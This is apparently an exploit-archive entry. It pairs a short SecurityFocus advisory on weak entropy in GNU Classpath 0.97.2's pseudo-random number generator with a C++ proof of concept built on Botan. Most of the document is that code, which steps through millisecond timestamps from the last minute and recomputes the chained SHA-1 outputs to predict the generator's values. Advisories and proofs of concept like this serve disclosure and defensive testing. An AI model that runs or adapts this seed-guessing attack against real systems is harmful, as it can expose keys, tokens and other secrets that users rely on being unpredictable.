56 lines
No EOL
1.5 KiB
C++
56 lines
No EOL
1.5 KiB
C++
source: https://www.securityfocus.com/bid/32909/info
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GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.
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Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.
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Classpath 0.97.2 is vulnerable; other versions may also be affected.
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#include <botan/init.h>
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#include <botan/sha160.h>
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#include <botan/loadstor.h>
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using namespace Botan;
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#include <cstdlib>
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#include <ctime>
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int main(int argc, char* argv[])
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{
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Botan::LibraryInitializer init;
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// by default start with a guess of 1 minute ago
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u64bit time_guess = (std::time(0) - 60);
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time_guess *= 1000; // convert to ms
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u32bit how_many = 60000; // 60 second range by default
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if(argc >= 2)
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how_many = std::atoi(argv[1]);
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if(argc >= 3)
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time_guess = std::atoi(argv[2]);
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//printf("Starting from %lld up to %d\n", time_guess, how_many);
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SHA_160 sha;
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byte buf[8], hash[40];
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for(u32bit i = 0; i != how_many; ++i)
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{
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Botan::store_be(time_guess, buf);
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// First block
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sha.update(buf, sizeof(buf));
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sha.final(hash);
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sha.update(buf, sizeof(buf));
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sha.update(hash, 20); // previous output
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sha.final(hash + 20);
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/*
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printf("seed=%lld hash=", time_guess);
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for(u32bit j = 0; j != sizeof(hash); ++j)
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printf("%02X", hash[j]);
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printf("\n");
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*/
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++time_guess; // move to next ms
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}
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} |